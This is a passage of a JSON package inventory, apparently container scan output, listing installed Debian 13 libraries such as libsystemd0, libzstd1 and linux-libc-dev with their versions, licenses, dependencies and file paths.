"14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.33", "/usr/share/gcc/python/libstdcxx/__init__.py", "/usr/share/gcc/python/libstdcxx/v6/__init__.py", "/usr/share/gcc/python/libstdcxx/v6/printers.py", "/usr/share/gcc/python/libstdcxx/v6/xmethods.py", "/usr/share/gdb/auto-load/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.33-gdb.py" ], "AnalyzedBy": "dpkg" }, { "ID": "libsystemd0@257.13-1~deb13u1", "Name": "libsystemd0", "Identifier": { "PURL": "pkg:deb/debian/libsystemd0@257.13-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "a2b4ba47389f858e" }, "Version": "257.13", "Release": "1~deb13u1", "Arch": "amd64", "SrcName": "systemd", "SrcVersion": "257.13", "SrcRelease": "1~deb13u1", "Licenses": [ "LGPL-2.1-or-later", "CC0-1.0", "GPL-2 with Linux-syscall-note exception", "MIT", "public-domain", "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian systemd Maintainers \u003cpkg-systemd-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libcap2@1:2.75-10+deb13u1+b1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsystemd.so.0.40.0", "/usr/share/doc/libsystemd0/NEWS.Debian.gz", "/usr/share/doc/libsystemd0/changelog.Debian.gz", "/usr/share/doc/libsystemd0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libtinfo6@6.5+20250216-2", "Name": "libtinfo6", "Identifier": { "PURL": "pkg:deb/debian/libtinfo6@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.6", "UID": "ba2c2b464f07108a" }, "Version": "6.5+20250216", "Release": "2", "Arch": "amd64", "SrcName": "ncurses", "SrcVersion": "6.5+20250216", "SrcRelease": "2", "Licenses": [ "MIT/X11", "X11", "BSD-3-Clause" ], "Maintainer": "Ncurses Maintainers \u003cncurses@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libtic.so.6.5", "/usr/lib/x86_64-linux-gnu/libtinfo.so.6.5", "/usr/share/doc/libtinfo6/changelog.Debian.gz", "/usr/share/doc/libtinfo6/changelog.gz", "/usr/share/doc/libtinfo6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libtsan2@14.2.0-19", "Name": "libtsan2", "Identifier": { "PURL": "pkg:deb/debian/libtsan2@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "854abd2322cbd97d" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libtsan.so.2.0.0", "/usr/share/lintian/overrides/libtsan2" ], "AnalyzedBy": "dpkg" }, { "ID": "libubsan1@14.2.0-19", "Name": "libubsan1", "Identifier": { "PURL": "pkg:deb/debian/libubsan1@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "e0dc05dad907f25d" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19", "libstdc++6@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libubsan.so.1.0.0", "/usr/share/lintian/overrides/libubsan1" ], "AnalyzedBy": "dpkg" }, { "ID": "libudev1@257.13-1~deb13u1", "Name": "libudev1", "Identifier": { "PURL": "pkg:deb/debian/libudev1@257.13-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "3b7a2f1a9ab169b" }, "Version": "257.13", "Release": "1~deb13u1", "Arch": "amd64", "SrcName": "systemd", "SrcVersion": "257.13", "SrcRelease": "1~deb13u1", "Licenses": [ "LGPL-2.1-or-later", "CC0-1.0", "GPL-2 with Linux-syscall-note exception", "MIT", "public-domain", "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian systemd Maintainers \u003cpkg-systemd-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libcap2@1:2.75-10+deb13u1+b1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libudev.so.1.7.10", "/usr/share/doc/libudev1/NEWS.Debian.gz", "/usr/share/doc/libudev1/changelog.Debian.gz", "/usr/share/doc/libudev1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libuuid1@2.41-5", "Name": "libuuid1", "Identifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "1afbb50818377478" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0", "/usr/share/doc/libuuid1/NEWS.Debian.gz", "/usr/share/doc/libuuid1/changelog.Debian.gz", "/usr/share/doc/libuuid1/changelog.gz", "/usr/share/doc/libuuid1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxxhash0@0.8.3-2", "Name": "libxxhash0", "Identifier": { "PURL": "pkg:deb/debian/libxxhash0@0.8.3-2?arch=amd64\u0026distro=debian-13.6", "UID": "d91110b5edcae2d8" }, "Version": "0.8.3", "Release": "2", "Arch": "amd64", "SrcName": "xxhash", "SrcVersion": "0.8.3", "SrcRelease": "2", "Licenses": [ "BSD-2-Clause", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Josue Ortega \u003cjosue@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxxhash.so.0.8.3", "/usr/share/doc/libxxhash0/changelog.Debian.gz", "/usr/share/doc/libxxhash0/changelog.gz", "/usr/share/doc/libxxhash0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libzstd1@1.5.7+dfsg-1", "Name": "libzstd1", "Identifier": { "PURL": "pkg:deb/debian/libzstd1@1.5.7%2Bdfsg-1?arch=amd64\u0026distro=debian-13.6", "UID": "ca4814a2bfd07696" }, "Version": "1.5.7+dfsg", "Release": "1", "Arch": "amd64", "SrcName": "libzstd", "SrcVersion": "1.5.7+dfsg", "SrcRelease": "1", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only", "Zlib", "MIT" ], "Maintainer": "RPM packaging team \u003cteam+pkg-rpm@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7", "/usr/share/doc/libzstd1/changelog.Debian.gz", "/usr/share/doc/libzstd1/changelog.gz", "/usr/share/doc/libzstd1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "linux-libc-dev@6.12.101-1", "Name": "linux-libc-dev", "Identifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "Version": "6.12.101", "Release": "1", "Arch": "all", "SrcName": "linux", "SrcVersion": "6.12.101", "SrcRelease": "1", "Licenses": [ "GPL-2.0-only", "GPL-2+-or-X11", "Unicode-data", "Xen-interface", "LGPL-2.1-only", "BSD-2-Clause" ], "Maintainer": "Debian Kernel Team \u003cdebian-kernel@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/include/asm-generic/auxvec.h", "/usr/include/asm-generic/bitsperlong.h", "/usr/include/asm-generic/bpf_perf_event.h", "/usr/include/asm-generic/errno-base.h", "/usr/include/asm-generic/errno.h", "/usr/include/asm-generic/fcntl.h", "/usr/include/asm-generic/hugetlb_encode.h", "/usr/include/asm-generic/int-l64.h", "/usr/include/asm-generic/int-ll64.h", "/usr/include/asm-generic/ioctl.h", "/usr/include/asm-generic/ioctls.h", "/usr/include/asm-generic/ipcbuf.h", "/usr/include/asm-generic/kvm_para.h", "/usr/include/asm-generic/mman-common.h", "/usr/include/asm-generic/mman.h", "/usr/include/asm-generic/msgbuf.h", "/usr/include/asm-generic/param.h", "/usr/include/asm-generic/poll.h", "/usr/include/asm-generic/posix_types.h", "/usr/include/asm-generic/resource.h", "/usr/include/asm-generic/sembuf.h", "/usr/include/asm-generic/setup.h", "/usr/include/asm-generic/shmbuf.h", "/usr/include/asm-generic/siginfo.h", "/usr/include/asm-generic/signal-defs.h", "/usr/include/asm-generic/signal.h", "/usr/include/asm-generic/socket.h", "/usr/include/asm-generic/sockios.h", "/usr/include/asm-generic/stat.h", "/usr/include/asm-generic/statfs.h", "/usr/include/asm-generic/swab.h", "/usr/include/asm-generic/termbits-common.h", "/usr/include/asm-generic/termbits.h", "/usr/include/asm-generic/termios.h", "/usr/include/asm-generic/types.h", "/usr/include/asm-generic/ucontext.h", "/usr/include/asm-generic/unistd.h", "/usr/include/drm/amdgpu_drm.h", "/usr/include/drm/armada_drm.h", "/usr/include/drm/drm.h", "/usr/include/drm/drm_fourcc.h", "/usr/include/drm/drm_mode.h", "/usr/include/drm/drm_sarea.h", "/usr/include/drm/etnaviv_drm.h", "/usr/include/drm/exynos_drm.h", "/usr/include/drm/habanalabs_accel.h", "/usr/include/drm/i915_drm.h", "/usr/include/drm/ivpu_accel.h", "/usr/include/drm/lima_drm.h", "/usr/include/drm/msm_drm.h", "/usr/include/drm/nouveau_drm.h", "/usr/include/drm/omap_drm.h", "/usr/include/drm/panfrost_drm.h", "/usr/include/drm/panthor_drm.h", "/usr/include/drm/pvr_drm.h", "/usr/include/drm/qaic_accel.h", "/usr/include/drm/qxl_drm.h", "/usr/include/drm/radeon_drm.h", "/usr/include/drm/tegra_drm.h", "/usr/include/drm/v3d_drm.h", "/usr/include/drm/vc4_drm.h", "/usr/include/drm/vgem_drm.h", "/usr/include/drm/virtgpu_drm.h", "/usr/include/drm/vmwgfx_drm.h", "/usr/include/drm/xe_drm.h", "/usr/include/linux/a.out.h", "/usr/include/linux/acct.h", "/usr/include/linux/acrn.h", "/usr/include/linux/adb.h", "/usr/include/linux/adfs_fs.h", "/usr/include/linux/affs_hardblocks.h", "/usr/include/linux/agpgart.h", "/usr/include/linux/aio_abi.h", "/usr/include/linux/am437x-vpfe.h", "/usr/include/linux/amt.h", "/usr/include/linux/android/binder.h", "/usr/include/linux/android/binderfs.h", "/usr/include/linux/apm_bios.h", "/usr/include/linux/arcfb.h", "/usr/include/linux/arm_sdei.h", "/usr/include/linux/aspeed-lpc-ctrl.h", "/usr/include/linux/aspeed-p2a-ctrl.h", "/usr/include/linux/aspeed-video.h", "/usr/include/linux/atalk.h", "/usr/include/linux/atm.h", "/usr/include/linux/atm_eni.h", "/usr/include/linux/atm_he.h", "/usr/include/linux/atm_idt77105.h", "/usr/include/linux/atm_nicstar.h", "/usr/include/linux/atm_tcp.h", "/usr/include/linux/atm_zatm.h", "/usr/include/linux/atmapi.h", "/usr/include/linux/atmarp.h", "/usr/include/linux/atmbr2684.h", "/usr/include/linux/atmclip.h", "/usr/include/linux/atmdev.h", "/usr/include/linux/atmioc.h", "/usr/include/linux/atmlec.h", "/usr/include/linux/atmmpc.h", "/usr/include/linux/atmppp.h", "/usr/include/linux/atmsap.h", "/usr/include/linux/atmsvc.h", "/usr/include/linux/audit.h", "/usr/include/linux/auto_dev-ioctl.h", "/usr/include/linux/auto_fs.h", "/usr/include/linux/auto_fs4.h", "/usr/include/linux/auxvec.h", "/usr/include/linux/ax25.h", "/usr/include/linux/batadv_packet.h", "/usr/include/linux/batman_adv.h", "/usr/include/linux/baycom.h", "/usr/include/linux/bcm933xx_hcs.h", "/usr/include/linux/bfs_fs.h", "/usr/include/linux/binfmts.h", "/usr/include/linux/bits.h", "/usr/include/linux/blkdev.h", "/usr/include/linux/blkpg.h", "/usr/include/linux/blktrace_api.h", "/usr/include/linux/blkzoned.h", "/usr/include/linux/bpf.h", "/usr/include/linux/bpf_common.h", "/usr/include/linux/bpf_perf_event.h", "/usr/include/linux/bpqether.h", "/usr/include/linux/bsg.h", "/usr/include/linux/bt-bmc.h", "/usr/include/linux/btf.h", "/usr/include/linux/btrfs.h", "/usr/include/linux/btrfs_tree.h", "/usr/include/linux/byteorder/big_endian.h", "/usr/include/linux/byteorder/little_endian.h", "/usr/include/linux/cachefiles.h", "/usr/include/linux/caif/caif_socket.h", "/usr/include/linux/caif/if_caif.h", "/usr/include/linux/can.h", "/usr/include/linux/can/bcm.h", "/usr/include/linux/can/error.h", "/usr/include/linux/can/gw.h", "/usr/include/linux/can/isotp.h", "/usr/include/linux/can/j1939.h", "/usr/include/linux/can/netlink.h", "/usr/include/linux/can/raw.h", "/usr/include/linux/can/vxcan.h", "/usr/include/linux/capability.h", "/usr/include/linux/capi.h", "/usr/include/linux/cciss_defs.h", "/usr/include/linux/cciss_ioctl.h", "/usr/include/linux/ccs.h", "/usr/include/linux/cdrom.h", "/usr/include/linux/cec-funcs.h", "/usr/include/linux/cec.h", "/usr/include/linux/cfm_bridge.h", "/usr/include/linux/cgroupstats.h", "/usr/include/linux/chio.h", "/usr/include/linux/cifs/cifs_mount.h", "/usr/include/linux/cifs/cifs_netlink.h", "/usr/include/linux/close_range.h", "/usr/include/linux/cn_proc.h", "/usr/include/linux/coda.h", "/usr/include/linux/coff.h", "/usr/include/linux/comedi.h", "/usr/include/linux/connector.h", "/usr/include/linux/const.h", "/usr/include/linux/coresight-stm.h", "/usr/include/linux/counter.h", "/usr/include/linux/cramfs_fs.h", "/usr/include/linux/cryptouser.h", "/usr/include/linux/cuda.h", "/usr/include/linux/cxl_mem.h", "/usr/include/linux/cyclades.h", "/usr/include/linux/cycx_cfm.h", "/usr/include/linux/dcbnl.h", "/usr/include/linux/dccp.h", "/usr/include/linux/devlink.h", "/usr/include/linux/dlm.h", "/usr/include/linux/dlm_device.h", "/usr/include/linux/dlm_plock.h", "/usr/include/linux/dlmconstants.h", "/usr/include/linux/dm-ioctl.h", "/usr/include/linux/dm-log-userspace.h", "/usr/include/linux/dma-buf.h", "/usr/include/linux/dma-heap.h", "/usr/include/linux/dns_resolver.h", "/usr/include/linux/dpll.h", "/usr/include/linux/dqblk_xfs.h", "/usr/include/linux/dvb/audio.h", "/usr/include/linux/dvb/ca.h", "/usr/include/linux/dvb/dmx.h", "/usr/include/linux/dvb/frontend.h", "/usr/include/linux/dvb/net.h", "/usr/include/linux/dvb/osd.h", "/usr/include/linux/dvb/version.h", "/usr/include/linux/dvb/video.h", "/usr/include/linux/dw100.h", "/usr/include/linux/edd.h", "/usr/include/linux/efs_fs_sb.h", "/usr/include/linux/elf-em.h", "/usr/include/linux/elf-fdpic.h", "/usr/include/linux/elf.h", "/usr/include/linux/errno.h", "/usr/include/linux/errqueue.h", "/usr/include/linux/erspan.h", "/usr/include/linux/ethtool.h", "/usr/include/linux/ethtool_netlink.h", "/usr/include/linux/eventfd.h", "/usr/include/linux/eventpoll.h", "/usr/include/linux/exfat.h", "/usr/include/linux/ext4.h", "/usr/include/linux/f2fs.h", "/usr/include/linux/fadvise.h", "/usr/include/linux/falloc.h", "/usr/include/linux/fanotify.h", "/usr/include/linux/fb.h", "/usr/include/linux/fcntl.h", "/usr/include/linux/fd.h", "/usr/include/linux/fdreg.h", "/usr/include/linux/fib_rules.h", "/usr/include/linux/fiemap.h", "/usr/include/linux/filter.h", "/usr/include/linux/firewire-cdev.h", "/usr/include/linux/firewire-constants.h", "/usr/include/linux/fou.h", "/usr/include/linux/fpga-dfl.h", "/usr/include/linux/fs.h", "/usr/include/linux/fscrypt.h", "/usr/include/linux/fsi.h", "/usr/include/linux/fsl_hypervisor.h", "/usr/include/linux/fsl_mc.h", "/usr/include/linux/fsmap.h", "/usr/include/linux/fsverity.h", "/usr/include/linux/fuse.h", "/usr/include/linux/futex.h", "/usr/include/linux/gameport.h", "/usr/include/linux/gen_stats.h", "/usr/include/linux/genetlink.h", "/usr/include/linux/genwqe/genwqe_card.h", "/usr/include/linux/gfs2_ondisk.h", "/usr/include/linux/gpio.h", "/usr/include/linux/gsmmux.h", "/usr/include/linux/gtp.h", "/usr/include/linux/handshake.h", "/usr/include/linux/hash_info.h", "/usr/include/linux/hdlc.h", "/usr/include/linux/hdlc/ioctl.h", "/usr/include/linux/hdlcdrv.h", "/usr/include/linux/hdreg.h", "/usr/include/linux/hid.h", "/usr/include/linux/hiddev.h", "/usr/include/linux/hidraw.h", "/usr/include/linux/hpet.h", "/usr/include/linux/hsi/cs-protocol.h", "/usr/include/linux/hsi/hsi_char.h", "/usr/include/linux/hsr_netlink.h", "/usr/include/linux/hw_breakpoint.h", "/usr/include/linux/hyperv.h", "/usr/include/linux/i2c-dev.h", "/usr/include/linux/i2c.h", "/usr/include/linux/i2o-dev.h", "/usr/include/linux/i8k.h", "/usr/include/linux/icmp.h", "/usr/include/linux/icmpv6.h", "/usr/include/linux/idxd.h", "/usr/include/linux/if.h", "/usr/include/linux/if_addr.h", "/usr/include/linux/if_addrlabel.h", "/usr/include/linux/if_alg.h", "/usr/include/linux/if_arcnet.h", "/usr/include/linux/if_arp.h", "/usr/include/linux/if_bonding.h", "/usr/include/linux/if_bridge.h", "/usr/include/linux/if_cablemodem.h", "/usr/include/linux/if_eql.h", "/usr/include/linux/if_ether.h", "/usr/include/linux/if_fc.h", "/usr/include/linux/if_fddi.h", "/usr/include/linux/if_hippi.h", "/usr/include/linux/if_infiniband.h", "/usr/include/linux/if_link.h", "/usr/include/linux/if_ltalk.h", "/usr/include/linux/if_macsec.h", "/usr/include/linux/if_packet.h", "/usr/include/linux/if_phonet.h", "/usr/include/linux/if_plip.h", "/usr/include/linux/if_ppp.h", "/usr/include/linux/if_pppol2tp.h", "/usr/include/linux/if_pppox.h", "/usr/include/linux/if_slip.h", "/usr/include/linux/if_team.h", "/usr/include/linux/if_tun.h", "/usr/include/linux/if_tunnel.h", "/usr/include/linux/if_vlan.h", "/usr/include/linux/if_x25.h", "/usr/include/linux/if_xdp.h", "/usr/include/linux/ife.h", "/usr/include/linux/igmp.h", "/usr/include/linux/iio/buffer.h", "/usr/include/linux/iio/events.h", "/usr/include/linux/iio/types.h", "/usr/include/linux/ila.h", "/usr/include/linux/in.h", "/usr/include/linux/in6.h", "/usr/include/linux/in_route.h", "/usr/include/linux/inet_diag.h", "/usr/include/linux/inotify.h", "/usr/include/linux/input-event-codes.h", "/usr/include/linux/input.h", "/usr/include/linux/io_uring.h", "/usr/include/linux/ioam6.h", "/usr/include/linux/ioam6_genl.h", "/usr/include/linux/ioam6_iptunnel.h", "/usr/include/linux/ioctl.h", "/usr/include/linux/iommufd.h", "/usr/include/linux/ioprio.h", "/usr/include/linux/ip.h", "/usr/include/linux/ip6_tunnel.h", "/usr/include/linux/ip_vs.h", "/usr/include/linux/ipc.h", "/usr/include/linux/ipmi.h", "/usr/include/linux/ipmi_bmc.h", "/usr/include/linux/ipmi_msgdefs.h", "/usr/include/linux/ipmi_ssif_bmc.h", "/usr/include/linux/ipsec.h", "/usr/include/linux/ipv6.h", "/usr/include/linux/ipv6_route.h", "/usr/include/linux/irqnr.h", "/usr/include/linux/isdn/capicmd.h", "/usr/include/linux/iso_fs.h", "/usr/include/linux/isst_if.h", "/usr/include/linux/ivtv.h", "/usr/include/linux/ivtvfb.h", "/usr/include/linux/jffs2.h", "/usr/include/linux/joystick.h", "/usr/include/linux/kcm.h", "/usr/include/linux/kcmp.h", "/usr/include/linux/kcov.h", "/usr/include/linux/kd.h", "/usr/include/linux/kdev_t.h", "/usr/include/linux/kernel-page-flags.h", "/usr/include/linux/kernel.h", "/usr/include/linux/kernelcapi.h", "/usr/include/linux/kexec.h", "/usr/include/linux/keyboard.h", "/usr/include/linux/keyctl.h", "/usr/include/linux/kfd_ioctl.h", "/usr/include/linux/kfd_sysfs.h", "/usr/include/linux/kvm.h", "/usr/include/linux/kvm_para.h", "/usr/include/linux/l2tp.h", "/usr/include/linux/landlock.h", "/usr/include/linux/libc-compat.h", "/usr/include/linux/limits.h", "/usr/include/linux/lirc.h", "/usr/include/linux/llc.h", "/usr/include/linux/loadpin.h", "/usr/include/linux/loop.h", "/usr/include/linux/lp.h", "/usr/include/linux/lsm.h", "/usr/include/linux/lwtunnel.h", "/usr/include/linux/magic.h", "/usr/include/linux/major.h", "/usr/include/linux/map_to_14segment.h", "/usr/include/linux/map_to_7segment.h", "/usr/include/linux/matroxfb.h", "/usr/include/linux/max2175.h", "/usr/include/linux/mctp.h", "/usr/include/linux/mdio.h", "/usr/include/linux/media-bus-format.h", "/usr/include/linux/media.h", "/usr/include/linux/media/raspberrypi/pisp_be_config.h", "/usr/include/linux/media/raspberrypi/pisp_common.h", "/usr/include/linux/mei.h", "/usr/include/linux/mei_uuid.h", "/usr/include/linux/membarrier.h", "/usr/include/linux/memfd.h", "/usr/include/linux/mempolicy.h", "/usr/include/linux/mii.h", "/usr/include/linux/minix_fs.h", "/usr/include/linux/misc/bcm_vk.h", "/usr/include/linux/mman.h", "/usr/include/linux/mmc/ioctl.h", "/usr/include/linux/mmtimer.h", "/usr/include/linux/module.h", "/usr/include/linux/mount.h", "/usr/include/linux/mpls.h", "/usr/include/linux/mpls_iptunnel.h", "/usr/include/linux/mptcp.h", "/usr/include/linux/mptcp_pm.h", "/usr/include/linux/mqueue.h", "/usr/include/linux/mroute.h", "/usr/include/linux/mroute6.h", "/usr/include/linux/mrp_bridge.h", "/usr/include/linux/msdos_fs.h", "/usr/include/linux/msg.h", "/usr/include/linux/mtio.h", "/usr/include/linux/nbd-netlink.h", "/usr/include/linux/nbd.h", "/usr/include/linux/ncsi.h", "/usr/include/linux/ndctl.h", "/usr/include/linux/neighbour.h", "/usr/include/linux/net.h", "/usr/include/linux/net_dropmon.h", "/usr/include/linux/net_namespace.h", "/usr/include/linux/net_tstamp.h", "/usr/include/linux/netconf.h", "/usr/include/linux/netdev.h", "/usr/include/linux/netdevice.h", "/usr/include/linux/netfilter.h", "/usr/include/linux/netfilter/ipset/ip_set.h", "/usr/include/linux/netfilter/ipset/ip_set_bitmap.h", "/usr/include/linux/netfilter/ipset/ip_set_hash.h", "/usr/include/linux/netfilter/ipset/ip_set_list.h", "/usr/include/linux/netfilter/nf_conntrack_common.h", "/usr/include/linux/netfilter/nf_conntrack_ftp.h", "/usr/include/linux/netfilter/nf_conntrack_sctp.h", "/usr/include/linux/netfilter/nf_conntrack_tcp.h", "/usr/include/linux/netfilter/nf_conntrack_tuple_common.h", "/usr/include/linux/netfilter/nf_log.h", "/usr/include/linux/netfilter/nf_nat.h", "/usr/include/linux/netfilter/nf_synproxy.h", "/usr/include/linux/netfilter/nf_tables.h", "/usr/include/linux/netfilter/nf_tables_compat.h", "/usr/include/linux/netfilter/nfnetlink.h", "/usr/include/linux/netfilter/nfnetlink_acct.h", "/usr/include/linux/netfilter/nfnetlink_compat.h", "/usr/include/linux/netfilter/nfnetlink_conntrack.h", "/usr/include/linux/netfilter/nfnetlink_cthelper.h", "/usr/include/linux/netfilter/nfnetlink_cttimeout.h", "/usr/include/linux/netfilter/nfnetlink_hook.h", "/usr/include/linux/netfilter/nfnetlink_log.h", "/usr/include/linux/netfilter/nfnetlink_osf.h", "/usr/include/linux/netfilter/nfnetlink_queue.h", "/usr/include/linux/netfilter/x_tables.h", "/usr/include/linux/netfilter/xt_AUDIT.h", "/usr/include/linux/netfilter/xt_CHECKSUM.h", "/usr/include/linux/netfilter/xt_CLASSIFY.h", "/usr/include/linux/netfilter/xt_CONNMARK.h", "/usr/include/linux/netfilter/xt_CONNSECMARK.h", "/usr/include/linux/netfilter/xt_CT.h", "/usr/include/linux/netfilter/xt_DSCP.h", "/usr/include/linux/netfilter/xt_HMARK.h", "/usr/include/linux/netfilter/xt_IDLETIMER.h", "/usr/include/linux/netfilter/xt_LED.h", "/usr/include/linux/netfilter/xt_LOG.h", "/usr/include/linux/netfilter/xt_MARK.h", "/usr/include/linux/netfilter/xt_NFLOG.h", "/usr/include/linux/netfilter/xt_NFQUEUE.h", "/usr/include/linux/netfilter/xt_RATEEST.h", "/usr/include/linux/netfilter/xt_SECMARK.h", "/usr/include/linux/netfilter/xt_SYNPROXY.h", "/usr/include/linux/netfilter/xt_TCPMSS.h", "/usr/include/linux/netfilter/xt_TCPOPTSTRIP.h", "/usr/include/linux/netfilter/xt_TEE.h", "/usr/include/linux/netfilter/xt_TPROXY.h", "/usr/include/linux/netfilter/xt_addrtype.h", "/usr/include/linux/netfilter/xt_bpf.h", "/usr/include/linux/netfilter/xt_cgroup.h", "/usr/include/linux/netfilter/xt_cluster.h", "/usr/include/linux/netfilter/xt_comment.h", "/usr/include/linux/netfilter/xt_connbytes.h", "/usr/include/linux/netfilter/xt_connlabel.h", "/usr/include/linux/netfilter/xt_connlimit.h", "/usr/include/linux/netfilter/xt_connmark.h", "/usr/include/linux/netfilter/xt_conntrack.h", "/usr/include/linux/netfilter/xt_cpu.h", "/usr/include/linux/netfilter/xt_dccp.h", "/usr/include/linux/netfilter/xt_devgroup.h", "/usr/include/linux/netfilter/xt_dscp.h", "/usr/include/linux/netfilter/xt_ecn.h", "/usr/include/linux/netfilter/xt_esp.h", "/usr/include/linux/netfilter/xt_hashlimit.h", "/usr/include/linux/netfilter/xt_helper.h", "/usr/include/linux/netfilter/xt_ipcomp.h", "/usr/include/linux/netfilter/xt_iprange.h", "/usr/include/linux/netfilter/xt_ipvs.h", "/usr/include/linux/netfilter/xt_l2tp.h", "/usr/include/linux/netfilter/xt_length.h", "/usr/include/linux/netfilter/xt_limit.h", "/usr/include/linux/netfilter/xt_mac.h", "/usr/include/linux/netfilter/xt_mark.h", "/usr/include/linux/netfilter/xt_multiport.h", "/usr/include/linux/netfilter/xt_nfacct.h", "/usr/include/linux/netfilter/xt_osf.h", "/usr/include/linux/netfilter/xt_owner.h", "/usr/include/linux/netfilter/xt_physdev.h", "/usr/include/linux/netfilter/xt_pkttype.h", "/usr/include/linux/netfilter/xt_policy.h", "/usr/include/linux/netfilter/xt_quota.h", "/usr/include/linux/netfilter/xt_rateest.h", "/usr/include/linux/netfilter/xt_realm.h", "/usr/include/linux/netfilter/xt_recent.h", "/usr/include/linux/netfilter/xt_rpfilter.h", "/usr/include/linux/netfilter/xt_sctp.h", "/usr/include/linux/netfilter/xt_set.h", "/usr/include/linux/netfilter/xt_socket.h", "/usr/include/linux/netfilter/xt_state.h", "/usr/include/linux/netfilter/xt_statistic.h", "/usr/include/linux/netfilter/xt_string.h", "/usr/include/linux/netfilter/xt_tcpmss.h", "/usr/include/linux/netfilter/xt_tcpudp.h", "/usr/include/linux/netfilter/xt_time.h", "/usr/include/linux/netfilter/xt_u32.h", "/usr/include/linux/netfilter_arp.h", "/usr/include/linux/netfilter_arp/arp_tables.h", "/usr/include/linux/netfilter_arp/arpt_mangle.h", "/usr/include/linux/netfilter_bridge.h", "/usr/include/linux/netfilter_bridge/ebt_802_3.h", "/usr/include/linux/netfilter_bridge/ebt_among.h", "/usr/include/linux/netfilter_bridge/ebt_arp.h", "/usr/include/linux/netfilter_bridge/ebt_arpreply.h", "/usr/include/linux/netfilter_bridge/ebt_ip.h", 